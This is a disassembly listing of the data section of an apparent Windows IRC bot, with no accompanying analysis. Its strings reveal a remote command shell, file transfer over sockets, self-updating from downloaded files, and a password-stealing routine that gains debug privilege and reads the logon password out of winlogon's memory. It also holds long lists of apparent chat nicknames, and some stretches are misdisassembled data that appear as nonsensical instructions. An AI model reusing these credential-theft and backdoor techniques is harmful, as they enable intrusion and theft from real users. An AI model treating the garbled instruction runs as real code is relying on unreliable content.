dword_437F44 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F58 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_415E4B+DCo
dd 6574656Ch, 0
dword_437F74 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415E4B+3Fo
dd 676E6974h, 0
unk_437F90 db 2Dh ; - ; DATA XREF: sub_416000+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_437FC4 db 2Dh ; - ; DATA XREF: sub_416000+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FF4 db 2Dh ; - ; DATA XREF: sub_416000+47o
; sub_4161C1+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_438018 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_4161C1+362o
; sub_416563+156o
dd 726F72h
unk_438030 db 2Dh ; - ; DATA XREF: sub_4161C1+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_43805C db 2Dh ; - ; DATA XREF: sub_4161C1+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
dword_438080 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_4161C1+1CBo
dd 74756Fh
dword_438098 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_4161C1+16Ao
dd 169h
unk_4380B0 db 2Dh ; - ; DATA XREF: sub_4161C1+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 10h
unk_4380D0 db 2Dh ; - ; DATA XREF: sub_4161C1+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380F4 db 2Dh ; - ; DATA XREF: sub_4161C1+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_438118 db 2Dh ; - ; DATA XREF: sub_416563+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_438144 db 2Dh ; - ; DATA XREF: sub_416563+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_438164 db 2Dh ; - ; DATA XREF: sub_416563+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
aAB db 'a+b',0 ; DATA XREF: sub_416563+97o
unk_438194 db 2Dh ; - ; DATA XREF: sub_416563+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381C4 db 2Dh ; - ; DATA XREF: sub_4167A0+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381F0 db 2Dh ; - ; DATA XREF: sub_4167A0+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_438224 db 2Dh ; - ; DATA XREF: sub_4167A0+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_438268 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_4167A0+358o
dd 25206465h, 73h
unk_438284 db 2Dh ; - ; DATA XREF: sub_4167A0+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382BC db 2Dh ; - ; DATA XREF: sub_4167A0+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382E4 db 2Dh ; - ; DATA XREF: sub_4167A0+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 10h
unk_438310 db 2Dh ; - ; DATA XREF: sub_4167A0+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_438338 db 2Dh ; - ; DATA XREF: sub_4167A0+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_438360 db 2Dh ; - ; DATA XREF: sub_4167A0+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 10h
off_4383B0 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383B4 dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 4
unk_4383C8 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_438404 db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o
dword_438444 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417054+C8o
dd 64252064h, 6C696620h, 7365h
unk_438464 db 2Dh ; - ; DATA XREF: sub_417054+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dword_43848C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_41716F+107o
dd 73252064h, 73255Ch
dword_4384A8 dd 2A5C7325h, 0 ; DATA XREF: sub_41716F+1Ao
unk_4384B0 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384E4 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438510 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_438548 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_4172C1+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_4172C1+CEo
unicode 0, <USERNAME>,0
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 10h
unk_438680 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386CC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43871C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438770 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
dd offset dword_439320
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_43931C
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_1 ; "s"
dd offset dword_439318
dd offset dword_439314
dd offset dword_439310
dd offset dword_43930C
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439308
dd offset dword_439304
dd offset dword_439300
; ---------------------------------------------------------------------------
clc
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_4392FC
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_4392F8
dd offset dword_4392F4
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset word_4392E4
dd offset dword_4392E0
dd offset aI_0 ; "I"
dd offset dword_4392DC
dd offset dword_4392D8
dd offset aA_0 ; "A"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset word_4392A0
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_439038
dd offset off_439034
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438EA0
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
; ---------------------------------------------------------------------------
fmul dword ptr [ebp-7233FFBDh]
inc ebx
add al, al
lea eax, [ebx+0]
mov ah, 8Dh
inc ebx
add [eax-5FFFBC73h], ch
lea eax, [ebx+0]
xchg eax, esp
lea eax, [ebx+0]
loc_438A6C: ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
mov [ebp-6A07FFBDh], cl
inc edx
add [ebp+ecx*4-727FFFBDh], al
inc ebx
add [eax-73h], bh
inc ebx
add [ebp+ecx*4+43h], dh
add [eax-73h], dh
inc ebx
add [eax-73h], ch
inc ebx
add [eax-73h], ah
inc ebx
add [eax-73h], bl
inc ebx
add [eax-73h], dl
inc ebx
add [eax-73h], cl
inc ebx
add [eax-73h], al
inc ebx
add [eax], bh
lea eax, [ebx+0]
xor [ebp-72DBFFBDh], cl
inc ebx
add ds:8D140043h[ecx*4], bl
inc ebx
add [eax], dl
lea eax, [ebx+0]
or [ebp-6D03FFBDh], cl
inc ebx
add al, bh
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_439318
dd offset aE ; "e"
dd offset dword_439314
dd offset dword_439310
dd offset dword_43930C
dd offset aI ; "i"
dd offset dword_42B93C
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439308
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439320
dd offset dword_439300
dd offset dword_43931C
dd offset dword_439304
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
; ---------------------------------------------------------------------------
aam 8Ch
inc ebx
add ah, cl
mov word ptr [ebx+0], es
les ecx, [ebx+eax*2+43930400h]
add [eax], dl
xchg eax, ebx
loc_438B52: ; CODE XREF: .packed:00438BC4j
inc ebx
add [eax-73FFBD3Ah], al
mov byte ptr [edx+0], 0C0h
mov word ptr [ebx+0], es
mov eax, 9800438Ch
fild dword ptr [ebx+0]
cwde
fild dword ptr [ebx+0]
mov ah, 8Ch
inc ebx
add [eax-67FFBC25h], bl
fild dword ptr [ebx+0]
cwde
fild dword ptr [ebx+0]
cwde
fild dword ptr [ebx+0]
int 3 ; Trap to Debugger
xchg eax, edx
inc ebx
add [edx+edx*4-7353FFBDh], bl
inc ebx
add [eax-5FFFBC74h], ch
mov word ptr [ebx+0], es
cld
xchg eax, edx
inc ebx
add [eax-6BFFBC25h], bl
mov word ptr [ebx+0], es
cwde
fild dword ptr [ebx+0]
cwde
fild dword ptr [ebx+0]
mov word ptr [ebx+eax*2+438C8400h], cs
add [eax-67FFBC25h], bl
fild dword ptr [ebx+0]
mov al, 92h
inc ebx
add [eax-7FFFBC25h], bl
mov word ptr [ebx+0], es
js short loc_438B52
inc ebx
add [eax-74h], dh
inc ebx
add [eax-74h], ch
inc ebx
add [esp+ecx*4+43h], ah
add [esp+ecx*4+43h], bl
add [esp+ecx*4+43h], dl
add [esp+ecx*4+43h], cl
add [esp+ecx*4+43h], al
add [eax-74h], al
inc ebx
add [esp+ecx*4], bh
inc ebx
add [esp+ecx*4], dh
inc ebx
add [eax], ch
mov word ptr [ebx+0], es
and [ebx+eax*2+438C1800h], cl
add [eax], dl
mov word ptr [ebx+0], es
or al, 8Ch
inc ebx
add [eax], cl
mov word ptr [ebx+0], es
db 36h
jnz short $+3
add ds:7C000075h, dh
xor al, 75h
jl short $+2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 6F79347Bh, 7D75h, 7375347Ch, 7Ch, 7865737Ch, 65726634h
dd 7C65h, 6F6C6F6Ch, 7C617Ch, 6C6F6Ch, 746F74h, 6F666F6Dh
dd 0
aMof0 db 'mof0',0
align 4
aMuha db 'muha',0
align 4
aYeah db 'yeah',0
align 4
aAha db 'aha',0
aShit db 'shit',0
align 10h
aGurl db 'gurl',0
align 4
aGirl_0 db 'GIRL',0
align 10h
aBoy db 'BOY',0
aFree db 'Free',0
align 4
aFuck_0 db 'Fuck',0
align 4
aSleeping db 'Sleeping',0
align 10h
aF_2 db '^^^f^',0
align 4
aSad db 'Sad',0
aLuvu db 'LUVU',0
align 4
a___0 db '_|_',0
aBbl db '|bbl',0
align 10h
dd offset loc_425240+2
aMuckc db 'muckc',0
align 4
aTruck db 'truck',0
align 4
aTrimy db 'trimy',0
align 4
aLuvy db 'luvy',0 ; DATA XREF: .packed:00438B3Co
align 4
aUi db 'ui',0 ; DATA XREF: .packed:00438B38o
align 4
aSdf db 'sdf',0 ; DATA XREF: .packed:00438B34o
aRt db 'rt',0 ; DATA XREF: .packed:00438B30o
align 10h
aGf db 'gf',0 ; DATA XREF: .packed:00438B2Co
align 4
aTy db 'ty',0 ; DATA XREF: .packed:00438B28o
align 4
aRg db 'rg',0 ; DATA XREF: .packed:00438B24o
align 4
aHappy db 'happy',0 ; DATA XREF: .packed:00438B20o
align 4
aRs db 'rs',0 ; DATA XREF: .packed:00438B00o
align 4
aQ8A db '|q8|a',0
align 10h
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 10h
aGens db '{gens|',0
align 4
aSex_0 db '{sex}',0
align 10h
aHub db '{hub}',0
align 4
aLuck db '|luck|',0
align 10h
aSuck db '|suck|',0
align 4
aTot db '-|tot|',0
align 10h
aWoh db '|woh|',0
align 4
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0
aTree db 'tree',0
align 10h
aZex db 'zex',0
aLez db 'lez',0
aWantedlove db 'WANTEDLOVE',0
align 4
aCumhur29 db 'cumhur29',0
align 10h
aAdamm db 'ADAMM',0
align 4
aMaveRIck db 'MaVe{R}icK',0
align 4
aPrometheus db 'prometheus',0
align 10h
aDallas43m db 'DALLAS43M',0
align 4
aTeoman db 'TEOMAN```',0
align 4
aRerpjj db 'RERPJJ',0
align 10h
aCem39 db 'cem39',0 ; DATA XREF: .packed:00438A4Co
align 4
aCool30m db 'cool30m',0 ; DATA XREF: .packed:00438A48o
aTropikal db 'tropikal',0 ; DATA XREF: .packed:00438A44o
align 4
aPassenger db 'passenger',0 ; DATA XREF: .packed:00438A40o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: .packed:00438A3Co
align 4
aUla db 'ula',0 ; DATA XREF: .packed:00438A38o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .packed:00438A34o
aAkden db 'akden',0 ; DATA XREF: .packed:00438A30o
align 4
aKoray db 'KORAY',0 ; DATA XREF: .packed:00438A2Co
align 10h
aAta29 db 'Ata29',0 ; DATA XREF: .packed:00438A28o
align 4
aFirtina db 'firtina',0 ; DATA XREF: .packed:00438A24o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .packed:00438A20o
aM41ist db 'M41IST',0 ; DATA XREF: .packed:00438A1Co
align 10h
aMaxsilla db 'maxsilla',0 ; DATA XREF: .packed:00438A18o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .packed:00438A14o
align 4
aAnkm db 'ankM',0 ; DATA XREF: .packed:00438A10o
align 4
aErkan db 'erkan',0 ; DATA XREF: .packed:00438A0Co
align 4
aDevre db 'devre',0 ; DATA XREF: .packed:00438A08o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .packed:00438A04o
align 4
aBirsen db 'birsen',0 ; DATA XREF: .packed:00438A00o
align 4
aA44m db 'a44m',0 ; DATA XREF: .packed:004389FCo
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .packed:004389F8o
align 10h
off_438EA0 dd offset byte_4B5245 ; DATA XREF: .packed:004389F4o
aSevda db 'sevda',0 ; DATA XREF: .packed:004389F0o
align 4
aKotan db 'kotan',0 ; DATA XREF: .packed:004389ECo
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .packed:004389E8o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .packed:004389E4o
align 4
aKapk db 'kapk',0 ; DATA XREF: .packed:004389E0o
align 10h
aAngelgirl db 'angelgirl',0 ; DATA XREF: .packed:004389DCo
align 4
aHayran db 'hayran',0 ; DATA XREF: .packed:004389D8o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .packed:004389D4o
align 10h
aAnkar db 'Ankar',0 ; DATA XREF: .packed:004389D0o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: .packed:004389CCo
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .packed:004389C8o
align 4
aUmut db 'umut-',0 ; DATA XREF: .packed:004389C4o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .packed:004389C0o
align 4
aKumul db 'kumul',0 ; DATA XREF: .packed:004389BCo
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .packed:004389B8o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .packed:004389B4o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .packed:004389B0o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .packed:004389ACo
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: .packed:004389A8o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .packed:004389A4o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: .packed:004389A0o
aHoly db 'holy',0 ; DATA XREF: .packed:0043899Co
align 4
aFlord db 'FLoRD',0 ; DATA XREF: .packed:00438998o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: .packed:00438994o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .packed:00438990o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .packed:0043898Co
align 10h
aEmre db 'Emre--',0 ; DATA XREF: .packed:00438988o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: .packed:00438984o
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:00438980o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .packed:0043897Co
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:00438978o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:00438974o
aArda db 'arda',0 ; DATA XREF: .packed:00438970o
align 4
aDevran db 'devran',0 ; DATA XREF: .packed:0043896Co
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:00438968o
aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:00438964o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:00438960o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:0043895Co
align 4
aBogac db 'bogac',0 ; DATA XREF: .packed:00438958o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:00438954o
align 4
aAnkh db 'ankh',0 ; DATA XREF: .packed:00438950o
align 4
off_439034 dd offset byte_457441 ; DATA XREF: .packed:0043894Co
dword_439038 dd 414C5941h, 2Dh ; DATA XREF: .packed:00438948o
aAlbina db 'albina',0 ; DATA XREF: .packed:00438944o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:00438940o
align 4
aZack db 'ZACK',0 ; DATA XREF: .packed:0043893Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .packed:00438938o
align 4
